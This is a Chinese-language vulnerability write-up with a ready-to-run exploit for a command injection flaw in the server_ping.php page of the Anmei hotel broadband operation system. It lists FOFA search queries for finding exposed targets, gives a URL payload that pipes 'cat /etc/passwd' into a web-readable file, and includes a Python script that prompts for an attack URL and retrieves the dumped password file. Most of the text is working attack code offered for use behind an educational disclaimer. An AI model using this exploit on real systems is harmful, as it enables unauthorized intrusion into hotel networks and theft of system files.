声明:本文档或演示材料仅供教育和教学目的使用,任何个人或组织使用本文档中的信息进行非法活动,均与本文档的作者无关。
文章目录
- 漏洞描述
- 漏洞复现
- 测试工具
漏洞描述
安美数字酒店宽带运营系统 server_ping.php 存在远程命令执行漏洞,漏洞文件中ip参数未过滤造成命令执行。
漏洞复现
1)fofa搜索:
app="酒店宽带运营系统"
body="酒店宽带运营"
选择对象
2)构造url:
/manager/radius/server_ping.php?ip=127.0.0.1|cat%20/etc/passwd>../../pd.txt&id=1
3)访问pd.txt
得到文件
测试工具
exp
import base64
import requests
import random
import re
import json
import sys
from requests.packages.urllib3.exceptions import InsecureRequestWarning# 禁用 SSL 证书验证警告
requests.packages.urllib3.disable_warnings(InsecureRequestWarning)# 定义 POC_1 函数,用于检测目标 URL 的漏洞
def POC_1(target_url):# 构造带有潜在漏洞的 URL,尝试执行 cat /etc/passwd 命令并写入到 pd.txt 文件vuln_url = target_url + "/manager/radius/server_ping.php?ip=127.0.0.1|cat%20/etc/passwd>../../pd.txt&id=1"# 设置请求头信息headers = {"User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/86.0.4240.111 Safari/537.36","Content-Type": "application/x-www-form-urlencoded",}try:# 发送 GET 请求,尝试利用漏洞response = requests.get(url=vuln_url, headers=headers, verify=False, timeout=10)# 打印正在执行的操作print("\033[36m[o] 正在执行 cat /etc/passwd>../../pd.txt \033[0m")# 检查响应内容是否包含 "parent" 字符串,以及 HTTP 状态码是否为 200if "parent" in response.text and response.status_code == 200:# 如果成功,尝试从 pd.txt 文件中读取 /etc/passwd 的内容vuln_url = target_url + "/pd.txt"response = requests.get(url=vuln_url, headers=headers, verify=False, timeout=10)# 检查响应内容是否包含 "root:" 字符串if "root:" in response.text:print("\033[36m[o] 成功执行 cat /etc/passwd, 响应为:\n{} \033[0m".format(response.text))else:print("\033[31m[x] 请求失败:{} \033[0m".format("未找到预期内容。"))else:print("\033[31m[x] 请求失败 \033[0m")except Exception as e:# 打印异常信息并退出程序print("\033[31m[x] 请求失败:{} \033[0m".format(e))sys.exit(0)# 主函数入口
if __name__ == '__main__':# 从用户获取攻击目标 URLtarget_url = str(input("\033[35mPlease input Attack Url\nUrl >>> \033[0m"))# 调用 POC_1 函数进行漏洞检测POC_1(target_url)
运行截图